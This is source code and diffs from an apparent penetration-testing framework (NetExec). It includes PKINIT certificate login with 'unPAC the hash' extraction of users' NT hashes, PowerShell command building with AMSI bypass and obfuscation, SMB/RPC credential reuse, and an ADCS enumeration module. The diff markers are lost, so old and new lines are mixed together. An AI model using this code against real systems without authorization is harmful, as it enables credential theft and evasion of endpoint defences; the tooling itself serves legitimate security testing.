ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
ap_req["ap-options"] = constants.encodeFlags([])
seq_set(ap_req, "ticket", ticket.to_asn1)
ap_req["authenticator"] = noValue
ap_req["authenticator"]["etype"] = cipher.enctype
# Key usage 7: the AP-REQ authenticator of a PA-TGS-REQ, encrypted with the TGT session key
ap_req["authenticator"]["cipher"] = cipher.encrypt(session_key, 7, encoder.encode(authenticator), None)
tgs_req = TGS_REQ()
tgs_req["pvno"] = 5
tgs_req["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgs_req["padata"] = noValue
tgs_req["padata"][0] = noValue
tgs_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgs_req["padata"][0]["padata-value"] = encoder.encode(ap_req)
req_body = seq_set(tgs_req, "req-body")
req_body["kdc-options"] = constants.encodeFlags([constants.KDCOptions.forwardable.value, constants.KDCOptions.renewable.value, constants.KDCOptions.canonicalize.value, constants.KDCOptions.enc_tkt_in_skey.value])
req_body["realm"] = realm
seq_set(req_body, "sname", Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value).components_to_asn1)
req_body["till"] = KerberosTime.to_asn1(now + datetime.timedelta(days=1))
req_body["nonce"] = random.getrandbits(31)
seq_set_iter(req_body, "etype", (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
seq_set_iter(req_body, "additional-tickets", (ticket.to_asn1(TicketAsn1()),))
connection.logger.info("Requesting a U2U service ticket to ourselves to read the PAC")
try:
response = sendReceive(encoder.encode(tgs_req), connection.domain, connection.kdcHost)
tgs_rep = decoder.decode(response, asn1Spec=TGS_REP())[0]
connection.logger.debug(f"U2U TGS-REP: {tgs_rep.prettyPrint()}")
# Key usage 2: with enc-tkt-in-skey the ticket is encrypted with the session key of the TGT sent along
enc_ticket_part = cipher.decrypt(session_key, 2, tgs_rep["ticket"]["enc-part"]["cipher"])
return read_nt_hash_from_pac(connection, enc_ticket_part, reply_key)
except (KerberosError, InvalidChecksum, PyAsn1Error, OSError, IndexError, KeyError) as e: # IndexError: empty AD-IF-RELEVANT, KeyError: unknown etype
connection.logger.fail(f"Failed to unPAC the hash: {e}")
return None
def pfx_auth(self, domain, username):
"""Authenticate with a client certificate through PKINIT, then optionally unPAC the NT hash"""
if not self.kdcHost:
self.logger.fail(f"Could not resolve KDC host for domain {domain}. Use --kdcHost to specify the domain controller IP")
return False
self.logger.info("Loading certificate and key from file")
try:
credentials = pkinit_credentials(self.args)
except FileNotFoundError as e:
self.logger.fail(f"Certificate or key file not found: {e.filename}")
return False
except (PKINITError, ValueError) as e:
self.logger.fail(f"Failed to load certificate/key: {e}")
return False
if credentials is None:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return False
self.logger.info(f"Requesting TGT for {username}@{domain} with the certificate")
client_name = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
try:
tgt, cipher, reply_key, session_key = getKerberosTGTPKINIT(client_name, domain, credentials, kdcHost=self.kdcHost)
except (PKINITError, KerberosError, OSError) as e:
self.logger.fail(f"Failed to get a TGT with the certificate: {e}")
return False
ccache = CCache()
ccache.fromTGT(tgt, reply_key, session_key)
basename = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache")
ccache_path = os.path.normpath(os.path.expanduser(os.path.join(NXC_PATH, "logs", basename)))
ccache.saveFile(ccache_path)
self.logger.info(f"Saved TGT to {ccache_path}")
if self.protocol == "winrm": # nxc winrm has no Kerberos login: log in over NTLM with the unPACed hash, as before
nthash = unpac_the_hash(self, username, tgt, cipher, reply_key, session_key)
return bool(nthash) and self.hash_login(domain, username, nthash)
# Impacket reads the TGT of a Kerberos login from the cache this variable points at, for the whole process
os.environ["KRB5CCNAME"] = ccache_path
self.use_kcache = True
logged_in = self.kerberos_login(domain, username, "", "", "", self.kdcHost, True)
if self.protocol == "smb" and self.args.unpac:
nthash = unpac_the_hash(self, username, tgt, cipher, reply_key, session_key)
if nthash:
self.logger.highlight(f"{domain}\\{username} NT hash: {nthash}")
self.db.add_credential("hash", domain, username, nthash)
return logged_in
def certificate_options(args):
"""Return the LDAPConnection certificate options for the command line material, plus a temporary file the caller must delete."""
if args.pfx_cert:
return {"pfxfile": args.pfx_cert, "pfxpass": args.pfx_pass}, None
if args.pem_cert and args.pem_key:
return {"certfile": args.pem_cert, "keyfile": args.pem_key}, None
if args.pfx_base64:
with open(args.pfx_base64, "rb") as pfx_base64_file:
pfxdata = base64.b64decode(pfx_base64_file.read())
# impacket loads the bundle from a path, so the decoded PFX has to hit the disk
handle, pfx_path = tempfile.mkstemp(suffix=".pfx", dir=TMP_PATH)
with os.fdopen(handle, "wb") as pfx_file:
pfx_file.write(pfxdata)
return {"pfxfile": pfx_path, "pfxpass": args.pfx_pass}, pfx_path
raise ValueError("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
+23 -10
View File
@@ -12,7 +12,6 @@ import random
obfuscate_ps_scripts = False
def replace_singles(s):
"""Replaces single quotes with a double quote
We do this because quoting is very important in PowerShell, and we are doing multiple layers:
@@ -28,7 +27,6 @@ def replace_singles(s):
"""
return s.replace("'", r"\"")
def get_ps_script(path):
"""Generates a full path to a PowerShell script given a relative path.
@@ -58,6 +56,19 @@ def encode_ps_command(command):
return b64encode(command.encode("UTF-16LE")).decode()
def is_powershell_installed():
"""
Check if PowerShell is installed.
Returns
-------
bool: True if PowerShell is installed, False otherwise.
"""
if which("powershell"):
return True
return False
def obfs_ps_script(path_to_script):
"""
Obfuscates a PowerShell script.
@@ -79,7 +90,7 @@ def obfs_ps_script(path_to_script):
obfs_script_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
obfs_ps_script = os.path.join(obfs_script_dir, ps_script)
if bool(which("powershell")) and obfuscate_ps_scripts:
if is_powershell_installed() and obfuscate_ps_scripts:
if os.path.exists(obfs_ps_script):
nxc_logger.display("Using cached obfuscated Powershell script")
with open(obfs_ps_script) as script:
@@ -105,11 +116,12 @@ def obfs_ps_script(path_to_script):
and debug statements from a PowerShell source file.
"""
# strip block comments
stripped_code = re.sub(re.compile(r"<#.*?#>", re.DOTALL), "", script.read())
stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read())
# strip blank lines, lines starting with #, and verbose/debug statements
return "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
"""
Generates a PowerShell command based on the provided `ps_command` parameter.
@@ -127,7 +139,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
str: The generated PowerShell command.
"""
nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
if custom_amsi:
nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
with open(custom_amsi) as file_in:
@@ -137,12 +149,12 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
amsi_bypass = ""
# for readability purposes, we do not do a one-liner
if force_ps32:
if force_ps32: # noqa: SIM108
# https://stackoverflow.com/a/60155248
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
else:
command = f"{amsi_bypass} {ps_command}"
nxc_logger.debug(f"Generated PS command:\n {command}\n")
if obfs:
@@ -151,7 +163,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
while True:
nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
obfs_command = invoke_obfuscation(command)
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
if len(command) <= 8191:
break
@@ -164,11 +176,11 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
# if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
command = f"powershell.exe -noni -nop -w 1 {command}"
if len(command) > 8191:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
nxc_logger.debug(f"Final command: {command}")
return command
@@ -417,3 +429,4 @@ def invoke_obfuscation(script_string):
obfuscated_script = choice(invoke_options)
nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
return obfuscated_script
-132
View File
@@ -1,132 +0,0 @@
import contextlib
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
class NXCRPCConnection:
"""
DCE/RPC over SMB/TCP using the NXC connection's creds; reuse SMB when already
logged in so Kerberos delegation (e.g. S4U2Proxy ST) applies to pipe RPC too.
"""
def __init__(self, connection, force_tcp=False):
self.connection = connection
self.force_tcp = force_tcp
self.dce = None
self.rpc_transport = None
def connect(self, named_pipe, interface_uuid, target_ip=None, auth_level=None, string_binding=None, set_remote_host=None, anonymous_rpc=False):
if string_binding is not None:
self.rpc_transport = self.create_from_string_binding(string_binding, target_ip, set_remote_host, anonymous_rpc)
elif self.force_tcp:
self.rpc_transport = self.create_tcp_transport(target_ip, anonymous_rpc)
else:
self.rpc_transport = self.create_smb_transport(named_pipe, target_ip)
self.dce = self.rpc_transport.get_dce_rpc()
if self.connection.kerberos and not anonymous_rpc:
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.dce.connect()
if auth_level is not None:
self.dce.set_auth_level(auth_level)
self.dce.bind(interface_uuid)
return self.dce
def disconnect(self):
if self.dce:
with contextlib.suppress(Exception):
self.dce.disconnect()
self.dce = None
@property
def transport(self):
return self.rpc_transport
def get_smb_connection(self):
if self.rpc_transport and hasattr(self.rpc_transport, "get_smb_connection"):
return self.rpc_transport.get_smb_connection()
return None
def __enter__(self):
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self.disconnect()
return False
def setup_credentials(self, rpc_transport, anonymous_rpc=False):
conn = self.connection
if anonymous_rpc:
rpc_transport.set_credentials("", "", "", "", "", "")
rpc_transport.set_kerberos(False, None)
else:
rpc_transport.set_credentials(conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey)
if conn.kerberos:
rpc_transport.set_kerberos(conn.kerberos, conn.kdcHost)
def create_smb_transport(self, named_pipe, target_ip=None):
conn = self.connection
# Create a new SMB conn if we don't have one already or
# if we are targetting a different IP (e.g. the DC instead of the original host) and therefore need to recreate the conn
if conn.conn is not None and (target_ip is None or conn.host == target_ip):
return transport.SMBTransport(conn.conn.getRemoteHost(), filename=named_pipe, smb_connection=conn.conn)
rpc_transport = transport.SMBTransport(conn.remoteName, conn.port, named_pipe, conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey, doKerberos=conn.kerberos, kdcHost=conn.kdcHost)
if target_ip or conn.host:
rpc_transport.setRemoteHost(target_ip or conn.host)
return rpc_transport
def create_tcp_transport(self, target_ip=None, anonymous_rpc=False):
conn = self.connection
target = target_ip or conn.remoteName
rpc_transport = transport.DCERPCTransportFactory(rf"ncacn_ip_tcp:{target}")
rpc_transport.setRemoteHost(target)
self.setup_credentials(rpc_transport, anonymous_rpc)
return rpc_transport
def create_from_string_binding(self, string_binding, target_ip=None, set_remote_host=None, anonymous_rpc=False):
rpc_transport = transport.DCERPCTransportFactory(string_binding)
if target_ip is not None:
rpc_transport.setRemoteHost(target_ip)
elif set_remote_host is not None:
rpc_transport.setRemoteHost(set_remote_host)
self.setup_credentials(rpc_transport, anonymous_rpc)
return rpc_transport
def dcom_FirewallChecker(iInterface, remoteHost, timeout, logger):
stringBindings = iInterface.get_cinstance().get_string_bindings()
for strBinding in stringBindings:
if strBinding["wTowerId"] == 7:
if strBinding["aNetworkAddr"].find("[") >= 0:
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
bindingPort = "[" + bindingPort
else:
binding = strBinding["aNetworkAddr"]
bindingPort = ""
if binding.upper().find(iInterface.get_target().upper()) >= 0:
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
break
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
if "stringBinding" not in locals():
return True, None
try:
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(remoteHost)
rpctransport.set_connect_timeout(timeout)
rpctransport.connect()
rpctransport.disconnect()
except Exception as e:
logger.debug(f"Exception while connecting to {stringBinding}: {e}")
return False, stringBinding
else:
return True, stringBinding
-21
View File
@@ -1,21 +0,0 @@
from impacket.smbconnection import SMBConnection
def get_smb_connection(context, connection, timeout=3):
"""SMB session reusing the credentials of the current connection, or None when it cannot be established.
A certificate-only bind (--schannel) leaves no secret behind, and logging in without
one would count as a bad password attempt on the target, so no session is attempted.
"""
if not connection.has_reusable_secret:
context.log.fail("Cannot open an SMB session: a certificate-only bind (--schannel) provides no password, hash or Kerberos ticket")
return None
smb = SMBConnection(remoteName=connection.remoteName, remoteHost=connection.host, sess_port=445, timeout=timeout)
if connection.kerberos:
smb.kerberosLogin(user=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, aesKey=connection.aesKey, kdcHost=connection.kdcHost, useCache=connection.use_kcache)
elif connection.nthash or connection.lmhash:
smb.login(connection.username, "", connection.domain, lmhash=connection.lmhash, nthash=connection.nthash)
else:
smb.login(connection.username, connection.password, connection.domain)
return smb
+27 -68
View File
@@ -1,24 +1,17 @@
import ast
import nxc
import importlib
import traceback
import sys
from os import listdir
from os.path import basename, dirname
from os.path import dirname
from os.path import join as path_join
from types import SimpleNamespace
from nxc.context import Context
from nxc.helpers.misc import CATEGORY
from nxc.logger import NXCAdapter
from nxc.paths import NXC_PATH
class ModuleOptionsError(Exception):
"""Raised when a module aborts the run from options() (returned False)."""
class ModuleLoader:
def __init__(self, args, db, logger):
self.args = args
@@ -37,55 +30,41 @@ class ModuleLoader:
elif not hasattr(module, "description"):
self.logger.fail(f"{module_path} missing the description variable")
module_error = True
elif not hasattr(module, "category") or module.category not in [CATEGORY.ENUMERATION, CATEGORY.CREDENTIAL_DUMPING, CATEGORY.PRIVILEGE_ESCALATION]:
self.logger.fail(f"{module_path} missing the category variable or invalid category")
module_error = True
elif not hasattr(module, "supported_protocols"):
self.logger.fail(f"{module_path} missing the supported_protocols variable")
module_error = True
elif not hasattr(module, "opsec_safe"):
self.logger.fail(f"{module_path} missing the opsec_safe variable")
module_error = True
elif not hasattr(module, "multiple_hosts"):
self.logger.fail(f"{module_path} missing the multiple_hosts variable")
module_error = True
elif not hasattr(module, "options"):
self.logger.fail(f"{module_path} missing the options function")
module_error = True
elif not hasattr(module, "on_login") and not hasattr(module, "on_admin_login"):
elif not hasattr(module, "on_login") and not (module, "on_admin_login"):
self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
module_error = True
return not module_error
module_cache = {}
@classmethod
def load_module_file(cls, module_path):
"""Load a module file and return the raw module object with isolated namespace.
Each module gets a unique name to avoid sys.modules collisions that
caused NXCModule class references to be overwritten when loading
multiple modules. Results are cached so each file is only parsed
and executed once regardless of how many targets are scanned.
"""
if module_path not in cls.module_cache:
module_name = f"nxc_module_{basename(module_path)[:-3]}"
spec = importlib.util.spec_from_file_location(module_name, module_path)
module = importlib.util.module_from_spec(spec)
# Register before executing. Modules that define their own impacket
# NDRCALL requests rely on impacket resolving the matching Response
# class via sys.modules[request.__module__] (rpcrt.py), which the
# previous load_module() satisfied implicitly.
sys.modules[module_name] = module
spec.loader.exec_module(module)
cls.module_cache[module_path] = module
return cls.module_cache[module_path]
if module_error:
return False
return True
def load_module(self, module_path):
"""Load and initialize a module, list_modules() already checked that it has the proper attributes"""
"""Load a module, initializing it and checking that it has the proper attributes"""
try:
return self.load_module_file(module_path).NXCModule()
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
module = spec.loader.load_module().NXCModule()
if self.module_is_sane(module, module_path):
return module
except Exception as e:
self.logger.fail(f"Failed loading module at {module_path}: {e}")
self.logger.debug(traceback.format_exc())
def init_module(self, module_path):
"""Initialize a module for execution"""
module = None
module = self.load_module(module_path)
if module:
@@ -103,8 +82,7 @@ class ModuleLoader:
key, value = option.split("=", 1)
module_options[str(key).upper()] = value
if module.options(context, module_options) is False:
raise ModuleOptionsError(f"Module {module.name} aborted the run from options()")
module.options(context, module_options)
return module
else:
self.logger.fail(f"Module {module.name.upper()} is not supported for protocol {self.args.protocol}")
@@ -113,7 +91,8 @@ class ModuleLoader:
def get_module_info(self, module_path):
"""Get the path, description, and options from a module"""
try:
module_spec = self.load_module_file(module_path).NXCModule
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
module_spec = spec.loader.load_module().NXCModule
module = {
f"{module_spec.name}": {
@@ -121,7 +100,8 @@ class ModuleLoader:
"description": module_spec.description,
"options": module_spec.options.__doc__,
"supported_protocols": module_spec.supported_protocols,
"category": module_spec.category,
"opsec_safe": module_spec.opsec_safe,
"multiple_hosts": module_spec.multiple_hosts,
"requires_admin": bool(hasattr(module_spec, "on_admin_login") and callable(module_spec.on_admin_login)),
}
}
@@ -131,28 +111,8 @@ class ModuleLoader:
self.logger.fail(f"Failed loading module at {module_path}: {e}")
self.logger.debug(traceback.format_exc())
def get_module_info_static(self, module_path):
"""Read the listing info of a module from its source without running it, falling back to get_module_info() if it is not plain literals"""
try:
with open(module_path, "rb") as f:
module_class = [node for node in ast.parse(f.read()).body if isinstance(node, ast.ClassDef) and node.name == "NXCModule"][-1]
# ast can't see what a base class or a decorator adds, so these modules are imported
if not module_class.bases and not module_class.decorator_list:
values = {target.id: node.value for node in module_class.body if isinstance(node, ast.Assign) for target in node.targets if isinstance(target, ast.Name)}
module = SimpleNamespace(
**{node.name: node for node in module_class.body if isinstance(node, ast.FunctionDef | ast.AsyncFunctionDef)},
**{key: ast.literal_eval(values[key]) for key in ("name", "description", "supported_protocols")},
category=CATEGORY[values["category"].attr],
)
# No "options" key on purpose: only -M --options reads it, and -M goes through get_module_info()
return {module.name: {"path": module_path, "description": module.description, "supported_protocols": module.supported_protocols, "category": module.category, "requires_admin": hasattr(module, "on_admin_login")}} if self.module_is_sane(module, module_path) else {}
except Exception as e:
self.logger.debug(f"Could not read {module_path} statically: {e}")
return self.get_module_info(module_path)
def list_modules(self, names=None):
"""List modules without initializing them, only the ones in names if given"""
def list_modules(self):
"""List modules without initializing them"""
modules = {}
modules_paths = [
path_join(dirname(nxc.__file__), "modules"),
@@ -161,11 +121,10 @@ class ModuleLoader:
for path in modules_paths:
for module in listdir(path):
if module[-3:] == ".py" and module != "example_module.py" and (names is None or module[:-3] in names):
if module[-3:] == ".py" and module != "example_module.py":
try:
module_path = path_join(path, module)
# -L reads the shipped modules statically, user modules are still imported so a broken one is reported
module_data = self.get_module_info_static(module_path) if names is None and path == modules_paths[0] else self.get_module_info(module_path)
module_data = self.get_module_info(module_path)
modules.update(module_data)
except Exception as e:
self.logger.debug(f"Error loading module {module}: {e}")
+24 -17
View File
@@ -2,12 +2,14 @@ from types import ModuleType
from importlib.machinery import SourceFileLoader
from os import listdir
from os.path import join as path_join
from os.path import dirname, exists
from os.path import dirname, exists, expanduser
import nxc
class ProtocolLoader:
def __init__(self):
self.nxc_path = expanduser("~/.nxc")
def load_protocol(self, protocol_path):
loader = SourceFileLoader("protocol", protocol_path)
protocol = ModuleType(loader.name)
@@ -16,22 +18,27 @@ class ProtocolLoader:
def get_protocols(self):
protocols = {}
protocol_paths = [
path_join(dirname(nxc.__file__), "protocols"),
path_join(self.nxc_path, "protocols"),
]
proto_path = path_join(dirname(nxc.__file__), "protocols")
for protocol in listdir(proto_path):
if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
protocol_path = path_join(proto_path, protocol)
protocol_name = protocol[:-3]
for path in protocol_paths:
for protocol in listdir(path):
if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
protocol_path = path_join(path, protocol)
protocol_name = protocol[:-3]
protocols[protocol_name] = {"path": protocol_path}
protocols[protocol_name] = {"path": protocol_path}
db_file_path = path_join(path, protocol_name, "database.py")
db_nav_path = path_join(path, protocol_name, "db_navigator.py")
protocol_args_path = path_join(path, protocol_name, "proto_args.py")
if exists(db_file_path):
protocols[protocol_name]["dbpath"] = db_file_path
if exists(db_nav_path):
protocols[protocol_name]["nvpath"] = db_nav_path
if exists(protocol_args_path):
protocols[protocol_name]["argspath"] = protocol_args_path
db_file_path = path_join(proto_path, protocol_name, "database.py")
db_nav_path = path_join(proto_path, protocol_name, "db_navigator.py")
protocol_args_path = path_join(proto_path, protocol_name, "proto_args.py")
if exists(db_file_path):
protocols[protocol_name]["dbpath"] = db_file_path
if exists(db_nav_path):
protocols[protocol_name]["nvpath"] = db_nav_path
if exists(protocol_args_path):
protocols[protocol_name]["argspath"] = protocol_args_path
return protocols
+40 -36
View File
@@ -3,8 +3,8 @@ from logging import LogRecord
from logging.handlers import RotatingFileHandler
import os.path
import sys
import re
from nxc.console import nxc_console
from nxc.paths import NXC_PATH
from termcolor import colored
from datetime import datetime
from rich.text import Text
@@ -21,47 +21,47 @@ def parse_debug_args():
args, _ = debug_parser.parse_known_args()
return args
def setup_debug_logging():
debug_args = parse_debug_args()
root_logger = logging.getLogger("root")
if debug_args.verbose:
nxc_logger.logger.setLevel(logging.INFO)
root_logger.setLevel(logging.INFO)
elif debug_args.debug:
nxc_logger.logger.setLevel(logging.DEBUG)
root_logger.setLevel(logging.DEBUG)
root_logger.setLevel(logging.INFO)
else:
nxc_logger.logger.setLevel(logging.ERROR)
root_logger.setLevel(logging.ERROR)
def create_temp_logger(caller_frame, formatted_text, args, kwargs):
"""Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
temp_logger = logging.getLogger("temp")
formatter = logging.Formatter("%(message)s", datefmt="[%X]")
handler = SmartDebugRichHandler(formatter=formatter)
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame))
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame))
class SmartDebugRichHandler(RichHandler):
"""Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
def __init__(self, formatter=None, *args, **kwargs):
super().__init__(*args, **kwargs)
if formatter is not None:
self.setFormatter(formatter)
def emit(self, record):
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
# for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging
record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text
if hasattr(record, "caller_frame"):
frame_info = inspect.getframeinfo(record.caller_frame)
record.pathname = frame_info.filename
record.lineno = frame_info.lineno
super().emit(record)
def no_debug(func):
"""Stops logging non-debug messages when we are in debug mode
It creates a temporary logger and logs the message to the console and file
@@ -71,7 +71,7 @@ def no_debug(func):
def wrapper(self, msg, *args, **kwargs):
if self.logger.getEffectiveLevel() >= logging.INFO:
return func(self, msg, *args, **kwargs)
else:
else:
formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
caller_frame = inspect.currentframe().f_back
create_temp_logger(caller_frame, formatted_text, args, kwargs)
@@ -80,7 +80,7 @@ def no_debug(func):
class NXCAdapter(logging.LoggerAdapter):
def __init__(self, extra=None, merge_extra=False):
def __init__(self, extra=None):
logging.basicConfig(
format="%(message)s",
datefmt="[%X]",
@@ -89,26 +89,19 @@ class NXCAdapter(logging.LoggerAdapter):
rich_tracebacks=True,
tracebacks_show_locals=False
)],
encoding="utf-8"
)
self.logger = logging.getLogger("nxc")
self.extra = extra
self.merge_extra = merge_extra
self.output_file = None
logging.getLogger("impacket").disabled = True
logging.getLogger("pypykatz").disabled = True
logging.getLogger("minidump").disabled = True
logging.getLogger("lsassy").disabled = True
logging.getLogger("dploot").disabled = True
logging.getLogger("certipy").disabled = True
logging.getLogger("aardwolf").disabled = True
logging.getLogger("unicrypto").disabled = True
logging.getLogger("asyncio").setLevel(logging.ERROR)
logging.getLogger("neo4j").setLevel(logging.ERROR)
logging.getLogger("pypsrp").setLevel(logging.ERROR)
def format(self, msg, *args, **kwargs):
def format(self, msg, *args, **kwargs): # noqa: A003
"""Format msg for output
This is used instead of process() since process() applies to _all_ messages, including debug calls
@@ -123,6 +116,10 @@ class NXCAdapter(logging.LoggerAdapter):
if len(self.extra) == 1 and ("module_name" in self.extra):
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
# If the logger is being called from nxcServer
if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs)
# If the logger is being called from a protocol
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
@@ -166,35 +163,29 @@ class NXCAdapter(logging.LoggerAdapter):
If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
"""
caller_frame = inspect.currentframe().f_back.f_back.f_back
if len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
if self.logger.getEffectiveLevel() >= logging.INFO and len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
try:
for handler in self.logger.handlers:
handler.handle(LogRecord("nxc", 20, pathname=caller_frame.f_code.co_filename, lineno=caller_frame.f_lineno, msg=text, args=args, exc_info=None))
handler.handle(LogRecord("nxc", 20, "", kwargs, msg=text, args=args, exc_info=None))
except Exception as e:
self.logger.fail(f"Issue while trying to custom print handler: {e}")
def add_file_log(self, log_file=None):
file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
output_file = self.init_log_file() if log_file is None else log_file
file_creation = False
if not os.path.isfile(output_file):
try:
with open(output_file, "x"):
pass
except FileNotFoundError:
print(f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}")
exit(1)
open(output_file, "x") # noqa: SIM115
file_creation = True
file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
file_handler = RotatingFileHandler(output_file, maxBytes=100000)
with file_handler._open() as f:
if file_creation:
f.write(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
f.write(f"[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
else:
f.write(f"\n[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
f.write(f"\n[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
file_handler.setFormatter(file_formatter)
self.logger.addHandler(file_handler)
@@ -202,14 +193,27 @@ class NXCAdapter(logging.LoggerAdapter):
@staticmethod
def init_log_file():
newpath = NXC_PATH + "/logs/" + datetime.now().strftime("%Y-%m-%d")
os.makedirs(newpath, exist_ok=True)
newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime("%Y-%m-%d")
if not os.path.exists(newpath):
os.makedirs(newpath)
return os.path.join(
NXC_PATH,
os.path.expanduser("~/.nxc"),
"logs",
datetime.now().strftime("%Y-%m-%d"),
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
)
class TermEscapeCodeFormatter(logging.Formatter):
"""A class to strip the escape codes for logging to files"""
def __init__(self, fmt=None, datefmt=None, style="%", validate=True):
super().__init__(fmt, datefmt, style, validate)
def format(self, record): # noqa: A003
escape_re = re.compile(r"\x1b\[[0-9;]*m")
record.msg = re.sub(escape_re, "", str(record.msg))
return super().format(record)
# initialize the logger for all of nxc - this is imported everywhere
+7 -10
View File
@@ -1,7 +1,6 @@
import re
from impacket.ldap import ldap, ldapasn1
from impacket.ldap.ldap import LDAPSearchError
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -14,7 +13,8 @@ class NXCModule:
name = "adcs"
description = "Find PKI Enrollment Services in Active Directory and Certificate Templates Names"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
@@ -27,7 +27,7 @@ class NXCModule:
SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name
BASE_DN The base domain name for the LDAP query
"""
self.regex = re.compile(r"(https?://.+)")
self.regex = re.compile("(https?://.+)")
self.server = None
self.base_dn = None
@@ -49,10 +49,10 @@ class NXCModule:
try:
sc = ldap.SimplePagedResultsControl()
base_dn_root = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn
base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
if self.server is None:
connection.ldap_connection.search(
connection.ldapConnection.search(
searchFilter=search_filter,
attributes=[],
sizeLimit=0,
@@ -61,7 +61,7 @@ class NXCModule:
